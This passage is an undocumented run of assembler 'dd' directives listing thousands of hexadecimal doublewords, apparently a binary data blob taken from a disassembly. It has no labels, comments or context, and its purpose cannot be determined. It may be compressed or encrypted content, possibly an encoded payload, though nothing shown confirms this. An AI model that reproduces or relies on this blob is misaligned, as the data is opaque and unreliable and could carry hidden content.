		dd 0BF483557h, 6A9B30B5h, 0B9E38300h, 1F665E0Dh, 0A29C00F5h
		dd 0AE69A6D6h, 0B43C5DA1h, 64F80771h, 3EA06036h, 1D00A8Dh
		dd 0F66C2D4Bh, 0C89ACDA7h, 9100F734h, 0D786E07Eh, 8F23FDh
		dd 0FB148440h, 0B6499876h, 7C965000h, 6DBE327Bh, 0D8020097h
		dd 9FF1EE21h, 8100E883h, 0CD8F2466h, 9567C64h, 2C33C7F6h
		dd 0DED7D420h, 34B20457h
		dd 0CA13F10Fh, 0B68101D4h, 0A330765Dh, 60AB00B9h, 14E3C149h
		dd 0D97AA723h, 0D3FBC90h, 415E0076h, 0B51B7835h, 79510062h
		dd 4C081FEBh, 9D7309A4h, 950D0501h, 67887445h, 1E1F04ECh
		dd 31B523A6h, 0F2AE0679h, 0CE2E9068h, 0FC2D2703h, 0A0432B9Dh
		dd 0A0D30797h, 5603210h, 0D5951488h, 4B54872Fh,	0BDE33A01h
		dd 0F19CE191h, 1883FA06h, 781D3C35h, 800B625h, 651EF5DDh
		dd 6A3A1E44h, 59FA4010h, 63D5948Ah, 0F560E5EEh,	403C9938h
		dd 3A421F75h, 0CE31466h, 95C67407h, 0DCA83C2Eh,	9E01F81Fh
		dd 52D6B700h, 27C8EBEh,	41B2AC21h, 0A408C94h, 7F1E2BE1h
		dd 0B6C095A0h, 573EA97Dh, 0E360F71Ah, 2693B020h, 0A38DDh
		dd 0BF32593Fh, 3400FEDBh, 2FE3A56Ah, 3ACED6Bh, 0E717E418h
		dd 3DB80E82h, 0A00D33Ah, 0A62D6858h, 1D97F36h, 98331166h
		dd 601AA45Ch, 0A00448Ch, 599BF5F9h, 0E84D260h, 18A2A934h
		dd 0D93A78A0h, 0B2008071h, 9DC8528Ch, 0A765AFh,	0C25F739Eh
		dd 0CC83AB43h, 9153E403h, 0E8B85EF8h, 1212E0Fh,	5B024B79h
		dd 6E9BE65Ch, 23E0B087h, 5CC67B86h, 1000B39Eh, 0EA9146B4h
		dd 600119E2h, 0DB627775h, 0A8407C1Ch, 0BBDF81h,	0BF11ED89h
		dd 0DDB5B37Dh, 1286453Fh, 1CBA5829h, 0C5F1C00Bh, 9BD4DC72h
		dd 0CB904601h, 0BFCFA4F4h, 338BEE0h, 115AE4FEh,	82E8C08Ch
		dd 35032787h, 0C4DC2C08h, 626E80A1h, 7F22388Bh,	55D6BC81h
		dd 0D49DB9BFh, 0CA0079C3h, 8A578968h, 4DF4A8h, 63F8FF1h
		dd 4AB74662h, 33B0CBF0h, 5ED33201h, 0E02AFCEEh,	0BB35D0h
		dd 0C82F163Ah, 7C809448h, 8882DA04h, 1D80409Dh,	0B39CE66h
		dd 0DD5DAF17h, 38A6F003h, 0D19A6580h, 6CDB9B00h, 6DDCCBE6h
		dd 0D77833h, 0D6807FF6h, 3DE3123Ch, 0E949B00h, 0CD83736Ah
		dd 0C9BF50D8h, 918801E8h, 0F4B2B1F2h, 79E02E2Eh, 3360045Eh
		dd 809946DCh, 0C2A119B0h, 7EF77C00h, 7BEBC84Bh,	82D62431h
		dd 25900348h, 28119FABh, 6F11B7AFh, 859511C7h, 11AAD111h
		dd 8321C5C4h, 90870308h, 4F9C88BDh, 8EC1CC4h, 22E94484h
		dd 9B5085A9h, 898F1404h, 3AC0915Ch, 84BFC4CCh, 428D0F22h
		dd 0ADD01181h, 9C08D321h, 1142BF90h, 0D722A956h, 0D98DC00h
		dd 1388D98Ch, 89E300A2h, 0A9E06F16h, 0C60026DEh, 474069ACh
		dd 1D279944h, 1E5A71F6h, 3FE2C0FEh, 8EED0BF4h, 5E7FF098h
		dd 5A28E500h, 5FE79A7Ch, 80C01F9Eh, 8C5DCF6Fh, 2C91E040h
		dd 0C0046A2h, 5095E1DEh, 17C0F0h, 0FFEAED80h, 9A5F10E0h
		dd 0BE116C00h, 2B894981h, 0A640001h, 4507CFC5h,	800D70Ch
		dd 3436F0E7h, 1C2617Eh,	0BDDD6D76h, 0E94AEA5Dh,	94DC6462h
		dd 78653B00h, 29C1B20h,	64AC1476h, 4F00EA29h, 9888DFEh
		dd 0EC000ADBh, 5B8736F1h, 0F3E6BBCh, 2993AC7Eh,	5ECF0C7Dh
		dd 0D30C4758h, 38FA35E1h, 76DE09CAh, 0EC208628h, 8B9EBA1Dh
		dd 0A7BFCD00h, 84F5D993h, 0B0B45033h, 7E1600DDh, 71410C72h
		dd 747E4706h, 0D1BF2700h, 0B13C79EAh, 94F9008Bh, 78596962h
		dd 9000E39Bh, 0D12FA12Dh, 81BD6Bh, 99DBDEE0h, 33597CBh
		dd 189ED330h, 0E87102h,	0F05C4452h, 7AF9E412h, 0C89F9900h
		dd 0BEEA9811h, 16FD00D2h, 0ED55E01Dh, 6400C2C7h, 0B8FBA7ADh
		dd 32B9A78h, 990FD905h,	4DB06F85h, 7D0AD297h, 0D8336722h
		dd 52F7A600h, 0CE81F3h,	0E8F5B72Dh, 9A4AB974h, 4F4E3Eh
		dd 0BC788FFEh, 0ABF65h,	5F14BD2Ah, 0C23AAE8Eh, 8F7B28B0h
		dd 0DC521903h, 0CB3BEED8h, 0D537C0D7h, 3FB20C39h, 2C0426ADh
		dd 439D0A07h, 809F71BDh, 353E79B5h, 38F477h, 28488618h
		dd 0C20C7AF0h, 0F53D8971h, 0C58E0032h, 18D102F2h, 20A513A0h
		dd 69B001Ah, 87C29B1Dh,	89F7FB3Ch, 0A6F02Bh, 0F53EE26Fh
		dd 0BAD00086h, 68ED7624h, 0C11279F7h, 30002F26h, 6EAA75D5h
		dd 895E4011h, 8004B79h,	257CDAE9h, 0B2E59DFAh, 8C7E00C0h
		dd 6C8B0FA4h, 170059B8h, 7D2DEE20h, 75F4F3E7h, 0EDEA0080h
		dd 8485337h, 1E002ED6h,	0DE3645FEh, 0CAC61Dh, 0B44BB0E8h
		dd 9DAC75F1h, 7FF9B300h, 14356CA8h, 0CDC10013h,	940D09B2h
		dd 45B8F333h, 820FEC30h, 1C67941h, 24EB744Dh, 0E45A3C7Eh
		dd 6701DF87h, 37FF1932h, 0A4F939E1h, 311C1980h,	937D4AF4h
		dd 86960C06h, 18A178Ah,	0B0A9C75Fh, 0C8D869EDh,	1403CEDDh
		dd 939430C0h, 0E7F003C1h, 0B35A50D2h, 0EC6406E1h, 5F0011BFh
		dd 470DA18Ch, 24CE85h, 9532044Eh, 9E1A154Bh, 0ED4926h
		dd 6BEF4F00h, 0E6BE4170h, 0F20215A0h, 5D00E864h, 0C58D5A8Bh
		dd 4200840Bh, 0C1060501h, 379DE0h, 40751BB1h, 0ADCD43A8h
		dd 0A501087Bh, 45D78D4Eh, 87D8F8CBh, 1922003Eh,	1C735B8h
		dd 4900980Bh, 58EB5752h, 7281676Eh, 0E6070043h,	611EF132h
		dd 7370272Fh, 24636D26h, 1DC78B00h, 16E64Bh, 0C604821Bh
		dd 0ED74F459h, 9DF3C801h, 75CD440Dh, 33D2E0h, 830C2BAh
		dd 6AB6D94h, 81423D00h,	69DA99CAh, 4E870F6Ah, 0F3607C1Ah
		dd 210E7014h, 0BF2CDC3Bh, 13891477h, 16A000B1h,	4DBB63D2h
		dd 75A3387Ch, 0BF01823Ch, 0F7AB41F9h, 27FC402Eh, 4A008F1Dh
		dd 0ACBCCC5Ch, 77852Ah,	30DA64C9h, 3D92BBECh, 72F9951Dh
		dd 39A73C00h, 5793642h,	0A3C90A86h, 0A8A08465h,	92B700A4h
		dd 0A010CB04h, 0C6D0095Dh, 5E8054A1h, 0E226186Bh, 27237A00h
		dd 9BD36F61h, 0ED890B5h, 992BBE25h, 0A329C040h,	3400B730h
		dd 4B468D3h, 26BF21Fh, 0B0F8DDCFh, 9240FC81h, 0CA09F4C5h
		dd 80363D61h, 754942CFh, 0C1723CAEh, 3243D702h,	0D860814Bh
		dd 3A058CDEh, 0BE40F6EEh, 5D86EC00h, 171FFh, 63362953h
		dd 0C3759A30h, 0C5F9D600h, 8ECF95CDh, 34F53965h, 0DA075604h
		dd 4408C231h, 0EF66F940h, 0D503EE01h, 63C33E48h, 16B0C30h
		dd 0C90683E6h, 28DD43F6h, 5E2E0080h, 0BE6AD525h, 44155858h
		dd 86CDA000h, 618BED4Dh, 0E685F109h, 0D9989050h, 4CA6018Eh
		dd 0F879D54h, 6388D80Bh, 0B1658500h, 41F213F4h,	231C1D14h
		dd 8FD08047h, 0B2AABCE3h, 39BF0B05h, 4480868Ch,	6C6AD4h
		dd 617D9BC4h, 8A0D6FB3h, 88008EF4h, 31B44376h, 642B0h
		dd 3F9D6E96h, 293275E9h, 0A7D0B300h, 864D89A8h,	992F2E68h
		dd 0BF3E0CE7h, 8499DED8h, 624C1C00h, 0DED4Bh, 0A3648730h
		dd 0B5C1EF39h, 0C7039A1Fh, 0D857007Bh, 5D3C2B63h, 797FFC42h
		dd 8BB40078h, 274E9840h, 0A130A332h, 6DEA1079h,	8814C6Ah
		dd 4D13C501h, 0CC0ACC77h, 201BA01h, 5DE77CAAh, 5470EE1Fh
		dd 5C400A5h, 0B2546F4Eh, 89909DD6h, 49DB351Fh, 0D1A2CF40h
		dd 39A68839h, 9A891FC2h, 0E460E2CBh, 0DE3EE5C0h, 0C9498006h
		dd 0D24AC754h, 0F6CF072Dh, 60D319CDh, 0FD522AC3h, 5A3062FAh
		dd 0A75E081Bh, 0E9180146h, 0EFFB3CBFh, 0E6E5F0B8h, 98D65400h
		dd 3463A561h, 32D426DBh, 464F00E0h, 292D1B50h, 7D307859h
		dd 8800247Ah, 0C1F2DA2Fh, 50190343h, 0E56AA863h, 167CD240h
		dd 957B0751h, 0C3FCEF0Ah, 0F0CB0672h, 0C70168BEh, 4FDC4418h
		dd 0C5C08147h, 0A50E289Bh, 39E53EE6h, 0D1150201h, 0D8C989CDh
		dd 0E601EA93h, 0D883DFA5h, 84408ADEh, 0F537244h, 3DAE4DABh
		dd 36AF801Dh, 2A7B1AB2h, 6AA67600h, 0A09D7F27h,	7D79B9h
		dd 3A75BF8Fh, 3C4BAA3Bh, 36A83D01h, 40B65243h, 0B910BEF1h
		dd 6CB188C5h, 2B5DC480h, 727D54h, 0C63E4740h, 925987F5h
		dd 30F19900h, 0ECD373A9h
		dd 2CDE247Ch, 32331204h, 90A07238h, 9107590Ch, 0E03A3F24h
		dd 99F09F00h, 750B50Eh,	56ACEC2Fh, 0BA0510BFh, 0C2307634h
		dd 42B590F0h, 790200B2h, 28E2C459h, 34981B6Ah, 8EFD5600h
		dd 0B2FBB1E6h, 8B33002Bh, 3A94D83Bh, 0A1009DA4h, 0C50CD9DDh
		dd 0E604B0h, 0C4F88301h, 0CCCDB141h, 0BCD6E502h, 0C07CC6C2h
		dd 294DA7h, 19471C5Eh, 1A51B4E4h, 4EBDE700h, 36B5EEBAh
		dd 0FF907FDh, 336A13B7h, 800C166h, 1172796Eh, 1E3CDB64h
		dd 80894DD4h, 0A3985886h, 0F7019A7Ch, 80BDEE6Fh, 0A030AF3Dh
		dd 0A1C1002Ah, 0B822E3D0h, 0FD00B965h, 0C4DB38CAh, 0F89657A9h
		dd 0B44A02C5h, 0F7B78519h, 2249E441h, 77B1C950h, 88CFF000h
		dd 0F00E357h, 3336B354h, 626173h, 0AD7CC502h, 0F9E66F92h
		dd 4BE5FF00h, 3DD5A27Ah, 0FD0F286Dh, 43B202B4h,	2F2B3CAFh
		dd 0CAA5BCE0h, 0C1DD880Eh, 1FF90041h, 3F8C105Bh, 0DF87C235h
		dd 0B09C49FCh, 0AF33BA81h, 18160F01h, 1BEF62ACh, 0EB92CF4h
		dd 49CC503Ah, 0C4CDD020h, 4700D82Fh, 66A5E97Eh,	48F68B5Ah
		dd 0EC07689Fh, 8012DB4Ch, 0BC10E545h, 9DE4602h,	41D1F2C3h
		dd 16C961F0h, 495EF9ECh, 2E00E855h, 2452B1E3h, 2491B3E5h
		dd 0E2D80E3Fh, 71D87848h, 6840495Fh, 7B026B8Fh,	2F40D4A5h
		dd 742EDEF2h, 1500F412h, 3CB31EF3h, 84C40040h, 6FBFDF57h
		dd 807544E5h, 14AF48h, 2411D792h, 7206C89h, 580CDDD0h
		dd 97F8C0C5h, 9E5059A5h, 0A22512C8h, 0BF24A5ADh, 24A074C4h
		dd 0F4E4001Fh, 0FFEAEC7Eh, 52EC0298h, 8C7786A3h, 5C248375h
		dd 0B58274B9h, 68F14B5Bh, 25C820h, 206D80D7h, 0D626A097h
		dd 0E1EB3900h, 1059FE3Fh, 0C5DF0092h, 0F8ECA352h, 82003281h
		dd 0F7626B2Eh, 0E0D3A9BEh, 55B80280h, 8E482CF4h, 7A0F08E0h
		dd 0C813077Eh, 35006288h, 0D9A22D89h, 2E300773h, 40FB82DAh
		dd 23AB5759h, 0A527AA01h, 0B133B62Dh, 31B8C8h, 1C0F387Bh
		dd 0FCAC70ABh, 0B7C01361h, 872C0D5h, 9CE15100h,	0A5F859A2h
		dd 507C0100h, 9A0B2B02h, 0B38F486Ch, 413A8B00h,	65982035h
		dd 9E007892h, 79A710E3h, 2EADF39h, 89D20A28h, 0D08770A2h
		dd 4EA0605Ah, 970B3BAEh, 4087D339h, 260AA994h, 2850F57Ch
		dd 63CE26B8h, 0CB110043h, 0AD148D6h, 0C99CB004h, 0D0C0659Ah
		dd 4CD331EEh, 0E6078632h, 0AB3E0D77h, 0FADB9C21h, 1788A674h
		dd 60DC3D0Fh, 60132CFEh, 20C90D6h, 43EB407Bh, 3860DEF0h
		dd 180F9ED8h, 803A3BC3h, 346DFF80h, 14BB1D1Ah, 32B7448Dh
		dd 17F080BCh, 0AA0B4183h, 1037B123h, 12FCAFF8h,	4973A91h
		dd 809E551Ah, 499C5EDh,	1E0DCA3Eh, 8D09D15Ch, 424C45Eh
		dd 0B4534813h, 4D3C80ACh, 8D1DC0BBh, 2D001FC9h,	222040AAh
		dd 764F012Eh, 3C5C17F8h, 9909DC16h, 9066D600h, 11449E96h
		dd 0DB5D005Bh, 0AEC9FB2Fh, 0DD045E1Bh, 0BC4C7D50h, 6E0C50C0h
		dd 0B08083F2h, 0E4592549h, 941F0E98h, 7230E0BEh, 34F4FAh
		dd 8A0C3C4Fh, 277EDA2Dh, 1D56330Eh, 0A0F08F87h,	43C9F3B4h
		dd 0A6B076h, 0AE1694B2h, 70617E40h, 0E8C4211Fh,	5E3DB740h
		dd 8AE928h, 0BB3113FBh,	917CCC4Ah, 8FEE2701h, 0F7A57E80h
		dd 58D458EEh, 3EC948C9h, 65F8FC63h, 1A445308h, 12AC0C64h
		dd 0BB111C45h, 0C60322EAh, 2D1E1D8Dh, 0A2DD81DEh, 705C003Ch
		dd 0E7254B00h, 908CB951h, 28DB1E00h, 636B0275h,	4C94A06Ah
		dd 0E50F1F74h, 137AC02Eh, 0F6DAE761h, 1201597Fh, 57896FACh
		dd 984074A3h, 1D98385Fh, 44702751h, 0C0057B3Fh,	0BEE61974h
		dd 9CF9C000h, 0B324A5A3h, 0E0B20B39h, 0CC00A6B7h, 0AC8305C5h
		dd 49A0DA09h, 323C00EBh, 9D33FDDh, 122DFD4Ah, 2E00F5F0h
		dd 315AC87Bh, 22AFC8Dh,	60D2DBD7h, 84C849EFh, 691E74C9h
		dd 6F05BB40h, 0FE80C536h, 0C09DC243h, 4475A809h, 5D00483Bh
		dd 0E635EA33h, 480DF229h, 0F7397CEFh, 4D93A07h,	0F4852FE3h
		dd 0BB8480B0h, 0C007925Bh, 0AC5CE74h, 0E8C33D54h, 5F1DB88Ch
		dd 0CB410986h, 1894D64Ah, 7F1E9113h, 13C460E1h,	0D7E8009Ah
		dd 4FD51D03h, 4D00E555h, 98DE06EFh, 19219Fh, 14FAB4B8h
		dd 0EACC9BA1h, 2937250Ah, 0E805E424h, 3C808655h, 0B4BCFE5Dh
		dd 9A51240h, 38A12110h,	0E57C15E2h, 0F21180D1h,	4CE0F684h
		dd 0D4B60480h, 97FAC0B3h, 7BA41074h, 27005A5Bh,	2CFD9F6Fh
		dd 3DCF8CBCh, 0FA76EDh,	6C01A37Ch, 63EA816Ah, 5E32FDF2h
		dd 63D47838h, 0B9F280FAh, 0D7BF0F29h, 18C02112h, 9D422036h
		dd 0E7CB4600h, 0A7D03C23h, 5BB12EC4h, 870E3870h, 5EE0EC2Ah
		dd 9565F60Eh, 0E6DBAA00h, 69F464A5h, 0E8946006h, 732B7A1Ch
		dd 350076F8h, 2E77AB81h, 3A3B23Ah, 927E9E24h, 29F04721h
		dd 4E5C45AFh, 529D0042h, 5493A263h, 9EA00465h, 81AE5A1Bh
		dd 60CB169Ch, 9D25E148h, 0CD1838B0h, 4CBA0062h,	1F3085AFh
		dd 0A00055E6h, 0CC23299Ah, 7FDCDE48h, 0B6310135h, 49C1C88Dh
		dd 0AE4305Ah, 0F4A3C328h, 0FEE67770h, 893BA89Eh, 30BA87E6h
		dd 3323A30Ch, 5A203489h, 6D0EC9Bh, 21169E4Ch, 24C3DA67h
		dd 0E9E4A881h, 161F06Bh, 4165D017h, 0D4ED0F3Ch,	0D8968DF3h
		dd 3FC80D06h, 0FD800011h, 0FCBD4ECFh, 7B099CCBh, 0A0FA8BEFh
		dd 43F92328h, 0BC5C1294h, 0ECD4446Bh, 7E44904Eh, 9B048134h
		dd 0AC7442B6h, 2CA92090h, 5A9D00D2h, 0CFC4600Ah, 4E0068E9h
		dd 3CB52A26h, 35CA829h,	95F0E8A5h, 3B801D18h, 0C00C844h
		dd 336BBD1Fh, 0B85CC3B9h, 7DA307F4h, 0E0377906h, 7176B849h
		dd 0E0DFC601h, 0F141800Eh, 0F00181D7h, 55A47424h, 94349CB1h
		dd 0FF84001Ch, 46CEFAC1h, 713CF90h, 482293DEh, 0BFF60218h
		dd 0EEE43E0h, 0F0907AE4h, 1507900Bh, 0BA82073h,	13418F24h
		dd 0AC2AF8h, 0DA62F6E8h, 9E0481BDh, 0B6371DA0h,	7CA18C1h
		dd 3C3A9CF8h, 430071C7h, 0AA17A32Ch, 55008BEDh,	978FE391h
		dd 26B71C29h, 2068C2DFh, 0CF9400C4h, 0FE1DA90h,	631FE67Dh
		dd 6E811A1Fh, 0B144A2C2h, 0A5CFC0h, 280BB3AAh, 0D8547E2Ah
		dd 0F6074FEAh, 0E9C68B6Bh, 5D323BF0h, 4E2B034h,	22AF5F4Ah
		dd 8780C524h, 0AECAD22Ch, 0F549F083h, 0EFFD3100h, 0F2FE45B8h
		dd 1E4218C2h, 0F62908F3h, 0C7BBC300h, 0B56AB2DDh, 72AB0166h
		dd 70C56E8Dh, 5910C877h, 8262841Fh, 82AD7409h, 0E0DB3B80h
		dd 0E71653Bh, 60BE7B17h, 0DA410053h, 63DE7DC1h,	6A1C75F4h
		dd 8E00295Dh, 6CB15247h, 0BB00043h, 39AD9B22h, 4A62F128h
		dd 601AEB6Eh, 12F0A3h, 8A82F973h, 4A433ABh, 85FB9500h
		dd 6F80BE6Ch, 1A5C0211h, 0F7A9AC9Ch, 25FFF0AAh,	528CA021h
		dd 5D1980D3h, 1284E0CCh, 44ECE099h, 3090D9B6h, 0BE013E02h
		dd 4B342FBBh, 0A48DA888h, 1A250E6Ah, 6660C3E2h,	438EF028h
		dd 9B4BD05h, 448382C4h,	9AC839Fh, 0BB6EA458h, 8A5F1400h
		dd 66070725h, 0D32888F7h, 291F80F9h, 0BBDCBh, 9A473F9Ch
		dd 0FCEAC620h, 7A64D972h, 4683B390h, 0F0491DE5h, 0A458400Bh
		dd 952E57A2h, 39A14364h, 49BB50C8h, 2D00C831h, 0A02CCE3h
		dd 552EA2A5h, 0A1001F58h, 480FA903h, 0E29C0B5h,	0B1801331h
		dd 5DC168B4h, 0CFD1A159h, 0EC7FD420h, 0ECF7004Fh, 2161FB47h
		dd 3600C528h, 0DF075354h, 0A010601Bh, 1ACBDEh, 6CFFD0C8h
		dd 7655690Eh, 0FDB93C16h, 0A5189A03h, 0D26EC0D4h, 0EB7F018Bh
		dd 0F77DD33h, 0F0B820E7h, 0FC4FAB5Ah, 877B6072h, 69F120h
		dd 86502434h, 0A796022Eh
		dd 62AFEF00h, 6FCE1760h, 0B4490040h, 0EB714752h, 20ED13B3h
		dd 0BF00EC38h, 0FFB872A4h, 7D174CE8h, 57440405h, 0C01ED0E5h
		dd 20A72BA0h, 0B6348500h, 0AF3F8D1Fh, 880B59Ah,	9F073E88h
		dd 13A28900h, 0FCA38F6Dh, 967565h, 265A71F7h, 551942EBh
		dd 0A2569307h, 0A64091F3h, 6F8DFFh, 4283F9B0h, 0FD924EB7h
		dd 0DDFAAE16h, 89C42C1Ch, 28A3AF4Dh, 23FFB607h,	0EA5AF05Fh
		dd 0B07C6778h, 0ABAEDF0Eh, 417D0030h, 0C0E255A3h, 7A571031h
		dd 0D0092BEBh, 80F4B579h, 4042D956h, 88500087h,	27AE1D9Bh
		dd 0FD1C3DB7h, 0F3121646h, 0DD3C1A00h, 0C967EEh, 0EDC7C334h
		dd 0DA51F9A1h, 0CA912604h, 10800E6Dh, 579647h, 3F80FC4Bh
		dd 58900962h, 0CA9FAD00h, 501DAEDEh, 2672F6h, 8EEBBAB2h
		dd 444E47Ah, 0FC1F3BE5h, 72656AC0h, 24340269h, 3F8FA1D5h
		dd 42809F3Bh, 66101336h, 0D203987Ch, 0BBB0BFD8h, 525AD0A2h
		dd 42394FE4h, 2AEA19E8h, 0FEA878E0h, 98E05F01h,	0C0CCFCFFh
		dd 7E85460h, 0DF843F33h, 0D52520D6h, 7B006996h,	66721607h
		dd 0A888Eh, 0BBFA7C19h,	684AA92Bh, 80562725h, 11D74DA4h
		dd 3E7C0BEEh, 982941E9h, 0D40004A9h, 683F667h, 94D09200h
		dd 0D175A75Bh, 0C020D2F4h, 0E8D82440h, 90FAC305h, 0BCD0568Ch
		dd 0EA0EDDDBh, 0A219003Fh, 70595B51h, 0BA021B7Fh, 0AC75FE12h
		dd 605087h, 0E1EF5C95h,	7E2E6ED9h, 4D1E1490h, 60654683h
		dd 88719908h, 97886A5Bh, 8B81874h, 26AB7012h, 109F8A0Bh
		dd 85C4005Fh, 0F445C2E4h, 2B4B00Ah, 0ABED3EA0h,	0FCC06D9Ch
		dd 0F2404E5Bh, 0D1AF0070h, 2CBB2F63h, 0D024BF79h, 0E10084C6h
		dd 4133E2C0h, 153200C5h, 67880D08h, 0EA012B61h,	4CE13FDCh
		dd 3AECF0E3h, 0ED7F00B8h, 76E77C78h, 0C0077E9h,	0C9056AA5h
		dd 98F2A953h, 3EE50068h, 0A6389245h, 5D006CFEh,	7BA47647h
		dd 7D01AF63h, 9ADE00F5h, 0D92317B6h, 83002479h,	589FA162h
		dd 86F578h, 363BBF0h, 64B92543h, 0B474200h, 0E97FA21Bh
		dd 75EA4Fh, 8BAFD3E2h, 47C4BBAEh, 8C680528h, 27C88800h
		dd 822578E4h, 16CE03FCh, 0D6602D41h, 73AEB990h,	0D36EEB00h
		dd 0EDF88367h, 8ADC1E43h, 0C830C955h, 8625F180h, 0B80081A5h
		dd 5211CE97h, 9F78A7h, 0DCAD0215h, 0CC163B4Dh, 92B87C01h
		dd 877AEF35h, 44CC8C21h, 0A0DB0020h, 96E0EE3Ah,	6917E553h
		dd 7C801D6Eh, 176B42Ah,	6B641EF1h, 0F03CEF82h, 6812DBCEh
		dd 0F422D03Bh, 847060DEh, 0F2210054h, 86D7F6Bh,	552446BAh
		dd 4F9260B2h, 59501D09h, 2690876Ch, 420ABB1h, 64F2F865h
		dd 0F05D31C0h, 0E53993Ch, 0C4BF38DDh, 21A6B3E0h, 0C016E3Bh
		dd 0DE8F988Bh, 48F04277h, 0FC789895h, 0E39405ACh, 0F45DCFB2h
		dd 44926F34h, 0E1461604h, 4145EBA6h, 1724D078h,	0C53A049Fh
		dd 4D04701Ah, 9DC14ABBh, 8DD37490h, 0F6E613C9h,	807C5CC5h
		dd 855671E1h, 30070EBAh, 27BC2D1Fh, 7B59C271h, 0C0F3EDC8h
		dd 59712C8h, 0D9C065F1h, 2FA5EF5Ah, 0A3605B0h, 800149C9h
		dd 0F2B1DA14h, 46B2950Eh, 9409A0F7h, 14CF6DFh, 157A418Bh
		dd 20BAF323h, 807565Ch,	0B1A83796h, 1C798720h, 3F741720h
		dd 0DF20C17Bh, 11A8984Bh, 4B81B2B8h, 0D88532h, 643D5FF4h
		dd 1E001F83h, 9A78D786h, 743D6D2h, 662865F6h, 77AEA152h
		dd 0E06C38FCh, 2E17FD6h, 4D5640E5h, 5D00A3B6h, 0C8E18h
		dd 22940857h, 0EF970961h, 5F00B6B8h, 0EA2D46A7h, 78C3C7AAh
		dd 12E9019h, 0E97EA6DAh, 2D74C162h, 0DE780270h,	40A86675h
		dd 2E679AE2h, 38EC1DDFh, 8018C7A4h, 0E3BD3970h,	26059DA8h
		dd 0AD4C8AB9h, 0C303D040h, 588224C6h, 37EF705h,	0BAAF1AD8h
		dd 95A0F92Dh, 0C05E8998h, 211E1803h, 0DA07F89Eh, 0F9FA0022h
		dd 9ABA2A49h, 14B04733h, 0A900CE7Eh, 7E835C7Ah,	71C9A172h
		dd 513501A8h, 0B064FC4Ch, 0D45A6006h, 0AE451D00h, 0E613684Bh
		dd 2D0E2E26h, 8F6100B4h, 4FD3544Dh, 3B62EA3Ah, 0E9D59C72h
		dd 97FC6740h, 622A1h, 0F61E920Bh, 533FA6B1h, 0CA123E1Eh
		dd 72444500h, 0B8A947h,	8DC6A311h, 0C728E25Ch, 4F70D248h
		dd 40001C12h, 0FEE07E1Ah, 1B72000Dh, 22DCB3Ch, 90014B0Ch
		dd 8B686CEBh, 0E1F47A1Eh, 63E901F2h, 6BC1AF0h, 8970608Ch
		dd 4D5038h, 2AD038Eh, 3CF786Ah,	0F3F1D6DCh, 4098369Bh
		dd 64009A85h, 0E5AA7084h, 0B35A58Ah, 2489B8F4h,	1DA8FD5h
		dd 4CB75EA1h, 1CEC30h, 0C4CA45D3h, 9D6949C8h, 0C344Ch
		dd 0AA028F01h, 0F82005h, 0A3B2FD57h, 46F13145h,	5ED0C0A3h
		dd 7C03D7A7h, 8877670Dh, 0D0A1E0CBh, 1B011C9Eh,	0B4694052h
		dd 0CA80FB4Bh, 2E7B100h, 48460675h, 0E19500F8h,	0D0873067h
		dd 20C2CB6Fh, 0E06D9845h, 72BBE0h, 0C9AFBC40h, 9ED86238h
		dd 796890Fh, 0F501B2B4h, 135457A6h, 1F8336D8h, 0D6CF844Ah
		dd 8CFCCCh, 0D97774C3h,	0A99606h, 504D2583h, 87FD464Ah
		dd 5B5D1E00h, 36CF348Ch, 0E4203DBEh, 53E6B303h,	3FF8CB23h
		dd 9C3AB50Bh, 0A18B80BBh, 2238B773h, 0A08F0064h, 800C6B53h
		dd 0D403C671h, 0AA1CBAE1h, 618EA037h, 784E7F85h, 90804ADCh
		dd 3A4FB138h, 0DD4DBC0Bh, 0B07A2Ah, 0DA678B7Bh,	8D265BB0h
		dd 46DEFB01h, 0BC449B6Ch, 1F99CA20h, 5C63A50Eh,	6F7700B2h
		dd 0B021E4CEh, 36416502h, 0C0A18630h, 14813284h, 93FC43FAh
		dd 0B0E4D427h, 899D5F40h, 7FE90174h, 9411208Fh,	78854B8Fh
		dd 7CD8ACF6h, 0A4B1081Eh, 0C07E76Ch, 1040983Bh,	97DCD84h
		dd 75383CAEh, 3709C0F8h, 0F927C5FEh, 807481B4h,	0F0CE3095h
		dd 89C0B0DEh, 561F8498h, 503D600Dh, 8693A35h, 721CE650h
		dd 8C95C92Ah, 0B04D1333h, 55A0020Eh, 0C6729210h, 0E3071080h
		dd 850114F5h, 0DF7F0D44h, 0BF0EBCBh, 0C22A00E7h, 0C4B8F67Eh
		dd 0BD03834Fh, 0F0E48891h, 0D42CE866h, 0ABF20154h, 0B8363F1Ah
		dd 6885DCE7h, 7CEC7100h, 0E0935206h, 458C1F0Eh,	9815401Bh
		dd 91A3AABAh, 4ACC1D07h, 0D98CB143h, 0F440030h,	0CB6EAF6h
		dd 3C3C9ED3h, 21A5B08Dh, 685B0A6h, 94B5243Eh, 0CF18C03Fh
		dd 0F92198E0h, 0BE070E17h, 0BA802826h, 1E3A835Eh, 883D0400h
		dd 0CEAC0E90h, 9A230071h, 0D817B044h, 8303CF06h, 243AFFE8h
		dd 0A919D0B2h, 9074300Ah, 0BC2EA659h, 5D06B700h, 0F6C7C087h
		dd 0EF6C0072h, 33587E8Eh, 1D00E4FEh, 0BD17AA95h, 78750CE1h
		dd 0EB18007Fh, 0F099F516h, 81620E8Bh, 0A0F790A9h, 232402D4h
		dd 7100C28h, 0A12180B0h, 0D1D3A309h, 0DA27808Ch, 0C85B10Eh
		dd 7D49DB5Eh, 0EF008938h, 0FD028723h, 94E73Eh, 0A680B5Bh
		dd 994BE02Ch, 7167AB1Eh, 0D6078F9Dh, 35F72D34h,	0FCBC3D0h
		dd 0ACF80Ch, 769110B6h,	75189B33h, 481080E9h, 0EF7D4FCDh
		dd 452D0717h, 462CFFE6h, 0A948217Fh, 2784C06h, 8988BA90h
		dd 0D76C0B3h, 0D9DE58A4h, 138D7500h, 910A3551h,	1D386860h
		dd 1C4C7E2h, 7CAC784Ch,	8C347447h, 5835E8B0h, 5CF03E68h
		dd 73188230h, 0DF0FACFDh, 0CC8F2025h, 0CF6C03Dh, 0EDBB890h
		dd 89013059h, 8299CC2Eh, 18EF404Ch, 2090DC09h, 2E02A0D0h
		dd 0FFC3991Bh, 0F0888CF8h, 60D37543h, 73DD1040h, 905B277h
		dd 0FA498CC5h, 23581AC0h, 0CC1600C8h, 8FF2BA3Fh, 6D033D54h
		dd 9351F5E9h, 0CADFC0FEh, 76310033h, 8B9D8A7h, 0C33DD036h
		dd 2098EBDh, 0E64040BFh, 5B20DBh, 7AB00867h, 65C5F19h
		dd 8A817507h, 0E280E89Fh
